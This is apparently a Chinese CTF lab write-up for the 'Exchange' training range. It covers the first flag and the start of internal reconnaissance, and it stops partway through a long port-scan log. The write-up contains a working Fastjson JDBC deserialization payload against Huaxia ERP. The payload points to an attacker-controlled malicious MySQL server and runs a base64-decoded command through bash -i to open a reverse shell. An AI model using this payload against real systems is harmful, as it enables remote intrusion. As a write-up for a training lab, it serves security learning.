靶标介绍:

Exchange 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag,分布于不同的靶机。 *注意:该靶场只有4个flag,如果提交完4个flag后仍未攻克成功,请关闭环境提交反馈。

FLAG1

首先用fscan信息收集一手

 1 .\fscan.exe -h 39.98.127.105 -p 1-65535
 2
 3   ___                              _
 4  / _ \     ___  ___ _ __ __ _  ___| | __
 5 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
 6/ /_\\_____\__ \ (__| | | (_| | (__|   <
 7\____/     |___/\___|_|  \__,_|\___|_|\_\
 8                     fscan version: 1.8.1
 9start infoscan
10(icmp) Target 39.98.127.105   is alive
11[*] Icmp alive hosts len is: 1
1239.98.127.105:80 open
1339.98.127.105:22 open
1439.98.127.105:8000 open
15[*] alive ports len is: 3
16start vulscan
17[*] WebTitle:http://39.98.127.105      code:200 len:19813  title:lumia
18[*] WebTitle:http://39.98.127.105:8000 code:302 len:0      title:None 跳转url: http://39.98.127.105:8000/login.html
19[*] WebTitle:http://39.98.127.105:8000/login.html code:200 len:5662   title:Lumia ERP
20已完成 3/3
21[*] 扫描结束,耗时: 5m26.1641278s

80端口是一个介绍产品的网站

image-20250408231422505

8000端口应该是网站的后台

image-20250408231526945

看到后台可以注册用户,我们注册一个

image-20250408232901718

成功进入后台

华夏ERP v2.3存在一处fastjson反序列化漏洞

Java 代码审计之华夏 ERP CMS v2.3 - FreeBuf网络安全行业门户

image-20250408234119162

Fastjson版本是 1.2.55

构造dns请求验证一下

{"@type":"java.net.Inet4Address","val":"ysgbayuskh.iyhc.eu.org"}

image-20250408234842947

验证漏洞

这里我们可以通过evil-mysql-server和ysoserial构造恶意mysql服务打jdbc

./evil-mysql-server -addr 3366 -java java -ysoserial ysoserial-all.jar

exp

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vpsIP地址",
		"portToConnectTo": 3366,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}

成功弹shell

image-20250409004552548

有root权限,直接读flag

 1root@iZ8vb6bns5dh59k418a97hZ:/root/flag# cat f*
 2cat f*
 3 ██     ██ ██     ██       ███████   ███████       ██     ████     ██   ████████ 
 4░░██   ██ ░██    ████     ██░░░░░██ ░██░░░░██     ████   ░██░██   ░██  ██░░░░░░██
 5 ░░██ ██  ░██   ██░░██   ██     ░░██░██   ░██    ██░░██  ░██░░██  ░██ ██      ░░ 
 6  ░░███   ░██  ██  ░░██ ░██      ░██░███████    ██  ░░██ ░██ ░░██ ░██░██         
 7   ██░██  ░██ ██████████░██      ░██░██░░░██   ██████████░██  ░░██░██░██    █████
 8  ██ ░░██ ░██░██░░░░░░██░░██     ██ ░██  ░░██ ░██░░░░░░██░██   ░░████░░██  ░░░░██
 9 ██   ░░██░██░██     ░██ ░░███████  ░██   ░░██░██     ░██░██    ░░███ ░░████████ 
10░░     ░░ ░░ ░░      ░░   ░░░░░░░   ░░     ░░ ░░      ░░ ░░      ░░░   ░░░░░░░░  
11
12                        |  |  ||  | /~~\  /\  |\  /|~|~
13                        |  |  ||--||    |/__\ | \/ | | 
14                         \/ \/ |  | \__//    \|    |_|_
15
16              flag01: flag{f605c397-0df7-4f55-b013-c7e45be124d0}

FLAG2

root@iZ8vb6bns5dh59k418a97hZ:/tmp# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:16:3e:1c:80:b4 brd ff:ff:ff:ff:ff:ff
    inet 172.22.3.12/16 brd 172.22.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe1c:80b4/64 scope link 
       valid_lft forever preferred_lft forever

传个fscan信息收集一波

  1root@iZ8vb6bns5dh59k418a97hZ:/tmp# ./fscan -h 172.22.3.0/24 -eh 172.22.3.12 -p 1-65535
  2┌──────────────────────────────────────────────┐
  3│    ___                              _        │
  4│   / _ \     ___  ___ _ __ __ _  ___| | __    │
  5│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
  6│ / /_\\_____\__ \ (__| | | (_| | (__|   <  7│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
  8└──────────────────────────────────────────────┘
  9      Fscan Version: 2.0.0
 10
 11[2025-04-09 00:51:47] [INFO] 暴力破解线程数: 1
 12[2025-04-09 00:51:47] [INFO] 开始信息扫描
 13[2025-04-09 00:51:47] [INFO] CIDR范围: 172.22.3.0-172.22.3.255
 14[2025-04-09 00:51:47] [INFO] 生成IP范围: 172.22.3.0.%!d(string=172.22.3.255) - %!s(MISSING).%!d(MISSING)
 15[2025-04-09 00:51:47] [INFO] 解析CIDR 172.22.3.0/24 -> IP范围 172.22.3.0-172.22.3.255
 16[2025-04-09 00:51:48] [INFO] 已排除指定主机: 1 个
 17[2025-04-09 00:51:48] [INFO] 最终有效主机数量: 255
 18[2025-04-09 00:51:48] [INFO] 开始主机扫描
 19[2025-04-09 00:51:48] [SUCCESS] 目标 172.22.3.2      存活 (ICMP)
 20[2025-04-09 00:51:48] [SUCCESS] 目标 172.22.3.26     存活 (ICMP)
 21[2025-04-09 00:51:48] [SUCCESS] 目标 172.22.3.9      存活 (ICMP)
 22[2025-04-09 00:51:51] [INFO] 存活主机数量: 3
 23[2025-04-09 00:51:51] [INFO] 有效端口数量: 65535
 24[2025-04-09 00:51:51] [SUCCESS] 端口开放 172.22.3.9:25
 25[2025-04-09 00:51:51] [SUCCESS] 端口开放 172.22.3.2:53
 26[2025-04-09 00:51:51] [SUCCESS] 端口开放 172.22.3.9:80
 27[2025-04-09 00:51:51] [SUCCESS] 端口开放 172.22.3.2:88
 28[2025-04-09 00:51:51] [SUCCESS] 端口开放 172.22.3.9:81
 29[2025-04-09 00:51:51] [SUCCESS] 服务识别 172.22.3.9:25 => [smtp] 产品:Microsoft Exchange smtpd 系统:Windows
 30[2025-04-09 00:51:51] [SUCCESS] 端口开放 172.22.3.2:135
 31[2025-04-09 00:51:52] [SUCCESS] 端口开放 172.22.3.9:135
 32[2025-04-09 00:51:52] [SUCCESS] 端口开放 172.22.3.26:139
 33[2025-04-09 00:51:52] [SUCCESS] 端口开放 172.22.3.9:139
 34[2025-04-09 00:51:52] [SUCCESS] 端口开放 172.22.3.2:139
 35[2025-04-09 00:51:52] [SUCCESS] 端口开放 172.22.3.26:135
 36[2025-04-09 00:51:55] [SUCCESS] 端口开放 172.22.3.2:389
 37[2025-04-09 00:51:55] [SUCCESS] 端口开放 172.22.3.9:445
 38[2025-04-09 00:51:55] [SUCCESS] 端口开放 172.22.3.26:445
 39[2025-04-09 00:51:55] [SUCCESS] 端口开放 172.22.3.9:444
 40[2025-04-09 00:51:55] [SUCCESS] 端口开放 172.22.3.2:445
 41[2025-04-09 00:51:55] [SUCCESS] 端口开放 172.22.3.9:443
 42[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.9:465
 43[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.2:464
 44[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.9:477
 45[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.9:476
 46[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.9:475
 47[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.9:465 => [smtp] 产品:Microsoft Exchange smtpd 系统:Windows
 48[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.2:88 => 
 49[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.9:477 => [smtp]
 50[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.9:476 => [smtp]
 51[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.9:475 => [smtp]
 52[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.9:587
 53[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.2:593
 54[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.9:593
 55[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.9:81 => [http]
 56[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.2:636
 57[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.9:587 => [smtp] 产品:Microsoft Exchange smtpd 系统:Windows
 58[2025-04-09 00:51:56] [SUCCESS] 端口开放 172.22.3.9:717
 59[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.2:593 => [ncacn_http] 版本:1.0 产品:Microsoft Windows RPC over HTTP 系统:Windows Banner:[ncacn_http/1.0]
 60[2025-04-09 00:51:56] [SUCCESS] 服务识别 172.22.3.9:593 => [ncacn_http] 版本:1.0 产品:Microsoft Windows RPC over HTTP 系统:Windows Banner:[ncacn_http/1.0]
 61[2025-04-09 00:51:57] [SUCCESS] 服务识别 172.22.3.2:636 => 
 62[2025-04-09 00:51:57] [SUCCESS] 端口开放 172.22.3.9:808
 63[2025-04-09 00:51:57] [SUCCESS] 端口开放 172.22.3.9:890
 64[2025-04-09 00:51:57] [SUCCESS] 服务识别 172.22.3.9:717 => [smtp] 产品:Microsoft Exchange smtpd 系统:Windows
 65[2025-04-09 00:51:57] [SUCCESS] 服务识别 172.22.3.26:139 =>  Banner:[.]
 66[2025-04-09 00:51:57] [SUCCESS] 服务识别 172.22.3.9:139 =>  Banner:[.]
 67[2025-04-09 00:51:57] [SUCCESS] 服务识别 172.22.3.2:139 =>  Banner:[.]
 68[2025-04-09 00:51:57] [SUCCESS] 端口开放 172.22.3.9:1801
 69[2025-04-09 00:51:57] [SUCCESS] 服务识别 172.22.3.9:80 => [http] 版本:10.0 产品:Microsoft IIS httpd 系统:Windows
 70[2025-04-09 00:51:57] [SUCCESS] 端口开放 172.22.3.9:2103
 71[2025-04-09 00:51:58] [SUCCESS] 端口开放 172.22.3.9:2107
 72[2025-04-09 00:51:58] [SUCCESS] 端口开放 172.22.3.9:2105
 73[2025-04-09 00:52:00] [SUCCESS] 服务识别 172.22.3.2:389 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: xiaorang.lab, Site: Default-First-Site-Name
 74[2025-04-09 00:52:00] [SUCCESS] 服务识别 172.22.3.9:445 => 
 75[2025-04-09 00:52:00] [SUCCESS] 端口开放 172.22.3.9:2525
 76[2025-04-09 00:52:00] [SUCCESS] 服务识别 172.22.3.26:445 => 
 77[2025-04-09 00:52:00] [SUCCESS] 服务识别 172.22.3.9:2525 => [smtp] 产品:Microsoft Exchange smtpd 系统:Windows
 78[2025-04-09 00:52:00] [SUCCESS] 服务识别 172.22.3.2:445 => 
 79[2025-04-09 00:52:00] [SUCCESS] 端口开放 172.22.3.2:3268
 80[2025-04-09 00:52:01] [SUCCESS] 端口开放 172.22.3.2:3269
 81[2025-04-09 00:52:01] [SUCCESS] 服务识别 172.22.3.2:3269 => 
 82[2025-04-09 00:52:01] [SUCCESS] 服务识别 172.22.3.2:464 => 
 83[2025-04-09 00:52:01] [SUCCESS] 端口开放 172.22.3.2:3389
 84[2025-04-09 00:52:01] [SUCCESS] 端口开放 172.22.3.26:3389
 85[2025-04-09 00:52:01] [SUCCESS] 端口开放 172.22.3.9:3389
 86[2025-04-09 00:52:02] [SUCCESS] 服务识别 172.22.3.9:808 => 
 87[2025-04-09 00:52:02] [SUCCESS] 服务识别 172.22.3.9:890 => 
 88[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3800
 89[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3801
 90[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3803
 91[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3823
 92[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3828
 93[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3843
 94[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3863
 95[2025-04-09 00:52:02] [SUCCESS] 端口开放 172.22.3.9:3867
 96[2025-04-09 00:52:03] [SUCCESS] 端口开放 172.22.3.9:3875
 97[2025-04-09 00:52:05] [SUCCESS] 服务识别 172.22.3.2:3268 => [ldap] 产品:Microsoft Windows Active Directory LDAP 系统:Windows 信息:Domain: xiaorang.lab, Site: Default-First-Site-Name
 98[2025-04-09 00:52:06] [SUCCESS] 服务识别 172.22.3.26:3389 => 
 99[2025-04-09 00:52:06] [SUCCESS] 端口开放 172.22.3.9:5060
100[2025-04-09 00:52:07] [SUCCESS] 端口开放 172.22.3.9:5062
101[2025-04-09 00:52:07] [SUCCESS] 端口开放 172.22.3.9:5065
102[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:3801 => 
103[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:3803 => 
104[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:1801 => 
105[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:3823 => 
106[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:3828 => 
107[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:3843 => 
108[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:3863 => 
109[2025-04-09 00:52:07] [SUCCESS] 服务识别 172.22.3.9:3867 => 
110[2025-04-09 00:52:07] [SUCCESS] 端口开放 172.22.3.9:6001
111[2025-04-09 00:52:08] [SUCCESS] 服务识别 172.22.3.9:6001 => [ncacn_http] 版本:1.0 产品:Microsoft Windows RPC over HTTP 系统:Windows Banner:[ncacn_http/1.0]
112[2025-04-09 00:52:07] [SUCCESS] 端口开放 172.22.3.9:6027
113[2025-04-09 00:52:07] [SUCCESS] 端口开放 172.22.3.9:6049
114[2025-04-09 00:52:07] [SUCCESS] 端口开放 172.22.3.9:6057
115[2025-04-09 00:52:08] [SUCCESS] 端口开放 172.22.3.9:6081
116[2025-04-09 00:52:08] [SUCCESS] 端口开放 172.22.3.9:6095
117[2025-04-09 00:52:08] [SUCCESS] 端口开放 172.22.3.9:6102
118[2025-04-09 00:52:08] [SUCCESS] 端口开放 172.22.3.9:6119
119[2025-04-09 00:52:08] [SUCCESS] 端口开放 172.22.3.9:6129
120[2025-04-09 00:52:08] [SUCCESS] 端口开放 172.22.3.9:6153
121[2025-04-09 00:52:08] [SUCCESS] 端口开放 172.22.3.9:6193
122[2025-04-09 00:52:09] [SUCCESS] 端口开放 172.22.3.9:6228
123[2025-04-09 00:52:11] [SUCCESS] 端口开放 172.22.3.9:6401
124[2025-04-09 00:52:11] [SUCCESS] 端口开放 172.22.3.9:6405
125[2025-04-09 00:52:11] [SUCCESS] 端口开放 172.22.3.9:6400
126[2025-04-09 00:52:11] [SUCCESS] 端口开放 172.22.3.9:6404
127[2025-04-09 00:52:11] [SUCCESS] 端口开放 172.22.3.9:6430
128[2025-04-09 00:52:11] [SUCCESS] 服务识别 172.22.3.9:5060 => 
129[2025-04-09 00:52:11] [SUCCESS] 端口开放 172.22.3.9:6448
130[2025-04-09 00:52:12] [SUCCESS] 端口开放 172.22.3.9:6449
131[2025-04-09 00:52:12] [SUCCESS] 端口开放 172.22.3.9:6454
132[2025-04-09 00:52:12] [SUCCESS] 端口开放 172.22.3.9:6490
133[2025-04-09 00:52:12] [SUCCESS] 端口开放 172.22.3.9:6492
134[2025-04-09 00:52:12] [SUCCESS] 端口开放 172.22.3.9:6497
135[2025-04-09 00:52:12] [SUCCESS] 服务识别 172.22.3.9:3800 => [http] 版本:2.0 产品:Microsoft HTTPAPI httpd 系统:Windows
136[2025-04-09 00:52:12] [SUCCESS] 端口开放 172.22.3.9:6512
137[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6514
138[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6548
139[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6550
140[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6560
141[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6571
142[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6564
143[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6570
144[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6572
145[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6578
146[2025-04-09 00:52:13] [SUCCESS] 端口开放 172.22.3.9:6590
147[2025-04-09 00:52:14] [SUCCESS] 端口开放 172.22.3.9:6594
148[2025-04-09 00:52:14] [SUCCESS] 端口开放 172.22.3.9:6606
149[2025-04-09 00:52:14] [SUCCESS] 端口开放 172.22.3.9:6616
150[2025-04-09 00:52:14] [SUCCESS] 端口开放 172.22.3.9:6621
151[2025-04-09 00:52:14] [SUCCESS] 端口开放 172.22.3.9:6624
152[2025-04-09 00:52:14] [SUCCESS] 端口开放 172.22.3.9:6642
153[2025-04-09 00:52:14] [SUCCESS] 端口开放 172.22.3.9:6664
154[2025-04-09 00:52:15] [SUCCESS] 端口开放 172.22.3.9:6685
155[2025-04-09 00:52:15] [SUCCESS] 端口开放 172.22.3.9:6690
156[2025-04-09 00:52:15] [SUCCESS] 端口开放 172.22.3.9:6719
157[2025-04-09 00:52:15] [SUCCESS] 端口开放 172.22.3.9:6728
158[2025-04-09 00:52:15] [SUCCESS] 端口开放 172.22.3.9:6741
159[2025-04-09 00:52:15] [SUCCESS] 端口开放 172.22.3.9:6770
160[2025-04-09 00:52:17] [SUCCESS] 服务识别 172.22.3.9:5062 => 
161[2025-04-09 00:52:17] [SUCCESS] 服务识别 172.22.3.9:5065 => 
162[2025-04-09 00:52:17] [SUCCESS] 端口开放 172.22.3.9:6772
163[2025-04-09 00:52:18] [SUCCESS] 端口开放 172.22.3.9:7673
164[2025-04-09 00:52:19] [SUCCESS] 服务识别 172.22.3.9:6664 => 
165[2025-04-09 00:52:20] [SUCCESS] 端口开放 172.22.3.9:8172
166[2025-04-09 00:52:51] [SUCCESS] 服务识别 172.22.3.2:53 => 
167[2025-04-09 00:52:52] [SUCCESS] 端口开放 172.22.3.2:9389
168[2025-04-09 00:52:53] [SUCCESS] 服务识别 172.22.3.9:2103 => 
169[2025-04-09 00:52:53] [SUCCESS] 端口开放 172.22.3.9:9710
170[2025-04-09 00:52:53] [SUCCESS] 服务识别 172.22.3.9:2107 => 
171[2025-04-09 00:52:55] [SUCCESS] 端口开放 172.22.3.9:12393
172[2025-04-09 00:52:55] [SUCCESS] 服务识别 172.22.3.9:444 => 
173[2025-04-09 00:52:56] [SUCCESS] 服务识别 172.22.3.2:135 => 
174[2025-04-09 00:52:57] [SUCCESS] 端口开放 172.22.3.26:15774
175[2025-04-09 00:52:57] [SUCCESS] 服务识别 172.22.3.2:9389 => 
176[2025-04-09 00:52:57] [SUCCESS] 服务识别 172.22.3.9:135 => 
177[2025-04-09 00:52:57] [SUCCESS] 服务识别 172.22.3.26:135 => 
178[2025-04-09 00:52:58] [SUCCESS] 服务识别 172.22.3.9:9710 => 
179[2025-04-09 00:52:58] [SUCCESS] 服务识别 172.22.3.9:3875 => 
180[2025-04-09 00:52:58] [SUCCESS] 服务识别 172.22.3.9:2105 => 
181[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6027 => 
182[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6049 => 
183[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6057 => 
184[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6081 => 
185[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6095 => 
186[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6102 => 
187[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6119 => 
188[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6129 => 
189[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6153 => 
190[2025-04-09 00:53:03] [SUCCESS] 服务识别 172.22.3.9:6193 => 
191[2025-04-09 00:53:04] [SUCCESS] 服务识别 172.22.3.9:6228 => 
192[2025-04-09 00:53:05] [SUCCESS] 服务识别 172.22.3.9:12393 => 
193[2025-04-09 00:53:06] [SUCCESS] 服务识别 172.22.3.9:6401 => 
194[2025-04-09 00:53:06] [SUCCESS] 服务识别 172.22.3.9:6405 => 
195[2025-04-09 00:53:06] [SUCCESS] 服务识别 172.22.3.9:6400 => 
196[2025-04-09 00:53:06] [SUCCESS] 服务识别 172.22.3.2:3389 => 
197[2025-04-09 00:53:06] [SUCCESS] 服务识别 172.22.3.9:6404 => 
198[2025-04-09 00:53:06] [SUCCESS] 服务识别 172.22.3.9:6430 => 
199[2025-04-09 00:53:06] [SUCCESS] 服务识别 172.22.3.9:3389 => 
200[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.9:6448 => 
201[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.26:15774 => 
202[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.9:6449 => 
203[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.9:6454 => 
204[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.9:6490 => 
205[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.9:6492 => 
206[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.9:6497 => 
207[2025-04-09 00:53:07] [SUCCESS] 服务识别 172.22.3.9:6512 => 
208[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6514 => 
209[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6548 => 
210[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6550 => 
211[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6571 => 
212[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6564 => 
213[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6570 => 
214[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6572 => 
215[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6578 => 
216[2025-04-09 00:53:08] [SUCCESS] 服务识别 172.22.3.9:6590 => 
217[2025-04-09 00:53:09] [SUCCESS] 服务识别 172.22.3.9:6594 => 
218[2025-04-09 00:53:09] [SUCCESS] 服务识别 172.22.3.9:6606 => 
219[2025-04-09 00:53:09] [SUCCESS] 服务识别 172.22.3.9:6616 => 
220[2025-04-09 00:53:09] [SUCCESS] 服务识别 172.22.3.9:6621 => 
221[2025-04-09 00:53:09] [SUCCESS] 服务识别 172.22.3.9:6624 => 
222[2025-04-09 00:53:09] [SUCCESS] 服务识别 172.22.3.9:6642 => 
223[2025-04-09 00:53:10] [SUCCESS] 服务识别 172.22.3.9:6685 => 
224[2025-04-09 00:53:10] [SUCCESS] 服务识别 172.22.3.9:6690 => 
225[2025-04-09 00:53:10] [SUCCESS] 服务识别 172.22.3.9:6719 => 
226[2025-04-09 00:53:10] [SUCCESS] 服务识别 172.22.3.9:6728 => 
227[2025-04-09 00:53:10] [SUCCESS] 服务识别 172.22.3.9:6741 => 
228[2025-04-09 00:53:10] [SUCCESS] 服务识别 172.22.3.9:6770 => 
229[2025-04-09 00:53:12] [SUCCESS] 服务识别 172.22.3.9:6772 => 
230[2025-04-09 00:53:13] [SUCCESS] 服务识别 172.22.3.9:7673 => 
231[2025-04-09 00:53:13] [SUCCESS] 服务识别 172.22.3.9:6560 => 
232[2025-04-09 00:53:15] [SUCCESS] 服务识别 172.22.3.9:8172 => 
233[2025-04-09 00:53:20] [SUCCESS] 服务识别 172.22.3.9:443 => 
234[2025-04-09 00:53:31] [SUCCESS] 端口开放 172.22.3.2:47001
235[2025-04-09 00:53:31] [SUCCESS] 端口开放 172.22.3.26:47001
236[2025-04-09 00:53:31] [SUCCESS] 端口开放 172.22.3.9:47001
237[2025-04-09 00:53:36] [SUCCESS] 服务识别 172.22.3.2:47001 => [http]
238[2025-04-09 00:53:36] [SUCCESS] 服务识别 172.22.3.9:47001 => [http]
239[2025-04-09 00:53:36] [SUCCESS] 服务识别 172.22.3.26:47001 => [http]
240[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49665
241[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49664
242[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49667
243[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49664
244[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49666
245[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49667
246[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49666
247[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49665
248[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49668
249[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49669
250[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49670
251[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49671
252[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49673
253[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49674
254[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49675
255[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49677
256[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.26:49678
257[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49684
258[2025-04-09 00:53:38] [SUCCESS] 端口开放 172.22.3.2:49695
259[2025-04-09 00:53:39] [SUCCESS] 服务识别 172.22.3.2:49674 => [ncacn_http] 版本:1.0 产品:Microsoft Windows RPC over HTTP 系统:Windows Banner:[ncacn_http/1.0]
260[2025-04-09 00:53:55] [SUCCESS] 端口开放 172.22.3.2:52352
261[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.2:49665 => 
262[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.26:49664 => 
263[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.2:49667 => 
264[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.2:49664 => 
265[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.2:49666 => 
266[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.26:49667 => 
267[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.26:49666 => 
268[2025-04-09 00:54:33] [SUCCESS] 服务识别 172.22.3.26:49665 => 
269[2025-04-09 00:54:34] [SUCCESS] 服务识别 172.22.3.26:49668 => 
270[2025-04-09 00:54:34] [SUCCESS] 服务识别 172.22.3.26:49669 => 
271[2025-04-09 00:54:34] [SUCCESS] 服务识别 172.22.3.26:49670 => 
